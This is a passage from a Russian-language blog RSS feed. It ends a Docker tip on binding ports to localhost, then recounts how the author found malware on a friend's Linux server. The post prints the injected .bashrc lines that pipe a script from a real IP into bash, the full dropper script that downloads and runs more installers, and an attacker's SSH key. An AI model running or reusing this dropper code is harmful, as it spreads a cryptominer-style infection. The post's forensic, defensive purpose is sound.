&lt;p&gt;Никогда, слышишь, НИКОГДА не используй 0.0.0.0 (&lt;strong&gt;-p 5432:5432&lt;/strong&gt;). Пускай все свои приложения сугубо на локалхосте, вот так: &lt;strong&gt;-p 127.0.0.1:5432:5432&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;И переодически делай проверку на 0.0.0.0 во избежание утечек:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker ps | grep 0.0.0.0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Thu, 13 Oct 2022 00:00:00 +0000</pubDate>
        <link>https://cryptopunks.org//article/simple-docker-attack-example/</link>
        <guid isPermaLink="true">https://cryptopunks.org//article/simple-docker-attack-example/</guid>
      </item>
    
      <item>
        <title>Пример поиска вируса в Linux-системе</title>
        <description>&lt;p&gt;Друзья попросили глянуть их зараженный вирусом сервер. Жаловались на то, что он очень медленно работает и странно себя ведет.&lt;/p&gt;

&lt;p&gt;Первым делом я выключил сервер и перевел его в режим восстановления (грубо говоря, загрузился в независимую livecd-систему).&lt;/p&gt;

&lt;p&gt;Смонтировал диск с ОС в &lt;strong&gt;/mnt&lt;/strong&gt; и сделал полный бэкап системы, с которой собственно и собирался работать, чтобы в случае проблем можно было откатиться назад.&lt;/p&gt;

&lt;p&gt;Далее у меня было в планах отключить интернет у сетевой карты, загрузиться в ОС и вживую покопаться в процессах, поэтому мне надо было обнулить пароль у &lt;strong&gt;root&lt;/strong&gt;, т.к я его не знал (потом я этот этап решил упразднить).&lt;/p&gt;

&lt;p&gt;Для этого я сделал  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chroot /mnt&lt;/code&gt; — и это было ошибкой! Чрут не хотел работать, и я не сразу понял, в чем дело, поэтому остановил его ctrl+c. Потом ты поймешь, чем он занимался в моменте чрутинга… После ctrl+c я попал все таки внутрь системы.&lt;/p&gt;

&lt;p&gt;Попытался сделать &lt;strong&gt;passwd&lt;/strong&gt; для смены пароля и наткнулся на ошибку &lt;strong&gt;passwd: Authentication token manipulation error&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Полез в &lt;strong&gt;/etc/shadow&lt;/strong&gt;, чтобы посмотреть, что там не так, и увидел вот такое мясо:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
hilde:$6$7n/iy4R6znS2iq0J$QjcECLSqMMiUUeHR4iJmkHLzAwgoNRhCC87HI3df95nZH5569TKwJEN2I/lNanPe0vhsdgfILPXedlWlZn7lz0:18461:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
lsb:$y$j9T$4mqDHpJ8b4riHWm2FfUHY.$./.VlnKhJMI/hj8f8sxbqhIal0jKhPxjyHxB6ZGtUm6:18849:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Потом полез в &lt;strong&gt;/etc/passwd&lt;/strong&gt; и увидел в конце две свежие записи:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hilde&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;home&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hilde&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bash&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;lsb&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;home&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lsb&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bash&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;В &lt;strong&gt;/home&lt;/strong&gt; появилось два новых юзера (&lt;strong&gt;hilde&lt;/strong&gt; и &lt;strong&gt;lsb&lt;/strong&gt;), в их каталогах три неприметных скрытых файла:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/home/hilde #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;total 20K
drwxr-xr-x   3 root root 4.0K Feb 13 21:20 .
drwxr-xr-x. 13 root root 4.0K Feb 14 18:40 ..
-rw-r--r--   1 root root   80 Feb 13 21:20 .bashrc
-rw-r--r--   1 root root   80 Feb 13 21:20 .profile
drwxr-xr-x   2 root root 4.0K Feb 13 20:25 .ssh
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Не поверив, что файлы могут быть со стандартным содержимым — решил проверить и не ошибся:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/home/hilde #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; .bashrc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
/bin/cdz &lt;span class=&quot;nt&quot;&gt;-fsSL&lt;/span&gt; http://104.192.82.138/s3f1015/a/a.sh | bash
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/home/hilde #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; .profile 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
/bin/cdz &lt;span class=&quot;nt&quot;&gt;-fsSL&lt;/span&gt; http://104.192.82.138/s3f1015/a/a.sh | bash
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ага, вот и какой-то шеллкод. Сейчас к нему вернемся, но перед этим посмотрим, что у нас в &lt;strong&gt;.ssh&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/home/hilde/.ssh #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;authorized_keys  authorized_keys2

&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/home/hilde/.ssh #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;authorized_keys
&lt;span class=&quot;go&quot;&gt;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ага, чей-то публичный ключик для коннекта с сервером.&lt;/p&gt;

&lt;p&gt;Вобъем в гугл и убедимся что мы не первые жертвы:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/uploads/2022-02-15-looking-for-virus-in-linux-system/google.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Потом прогнал поиском рекурсивно по ключевику &lt;strong&gt;104.192.82.138&lt;/strong&gt; и обнаружил, что абсолютно у всех юзеров (еще и в кронтабе!) эта гадость прописалась:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/uploads/2022-02-15-looking-for-virus-in-linux-system/find_ip.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Теперь понимаешь, почему при чруте была такая странная и долгая пауза? Потому что в &lt;strong&gt;/root/.bashrc&lt;/strong&gt; тоже была записана загрузка шеллкода.&lt;br /&gt; 
Настоятельно рекомендую перед чрутом всегда проверять как минимум &lt;strong&gt;root/.bashrc&lt;/strong&gt;, &lt;strong&gt;root/.profile&lt;/strong&gt; на наличие стремных записей.&lt;/p&gt;

&lt;p&gt;Перейдем наконец к шеллкоду — по этому адресу &lt;strong&gt;http://104.192.82.138/s3f1015/a/a.sh&lt;/strong&gt; (лучше не качай, а посмотри код ниже) находится скрипт &lt;strong&gt;a.sh&lt;/strong&gt; следующего содержания:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ok22&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;date&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;/tmp/ok.log
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;curl&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /bin/cd1 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/bin/cd1&quot;&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /bin/cur &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/bin/cur&quot;&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /bin/TNTcurl &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/bin/TNTcurl&quot;&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /bin/curltnt &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then 
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/bin/curltnt&quot;&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /bin/curl1 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/bin/curl1&quot;&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /bin/cdt &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/bin/cdt&quot;&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /bin/xcurl &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/bin/xcurl&quot;&lt;/span&gt;  
&lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-x&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/bin/cdz&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/bin/cdz&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fi 
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;sh_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://104.192.82.138/s3f1015&quot;&lt;/span&gt;  
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOHOME&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/var/tmp/.crypto/...
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOHOME&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/.ddns.log &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;process possible running&quot;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;date&lt;/span&gt; +%s&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;last_modified&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;stat&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;%Y&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOHOME&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/.ddns.log&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$current&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$last_modified&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-gt&lt;/span&gt; 6 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then
        &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;process is not running&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; 
        &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-fsSL&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;MOHOME&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/.ddns.pid &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;sh_url&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/m/reg0.tar.gz
        &lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;0
    &lt;span class=&quot;k&quot;&gt;fi
fi
if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-fsSL&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;sh_url&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/c/ar.sh |bash
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CURL_CMD&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-fsSL&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;sh_url&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/c/ai.sh |bash
&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Если проанализировать этот файлик и собрать все куски воедино, то получатся ссылки на инсталлеры — вот они:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;http://104.192.82.138/s3f1015/c/ar.sh&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;http://104.192.82.138/s3f1015/c/ai.sh&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Файлики по ссылкам качать не советую (поэтому сделал их не кликабельными), да и ссылки эти рано или поздно умрут вместе с сервером. Опубликую код инсталлеров с убранным в начале &lt;strong&gt;#!/bin/bash&lt;/strong&gt;, чтобы ты их случайно не запустил (если их не удалит github, потому что они могут попасть в вирусные базы).&lt;/p&gt;

&lt;p&gt;Вот эти два “кастрированных” файла:&lt;br /&gt;
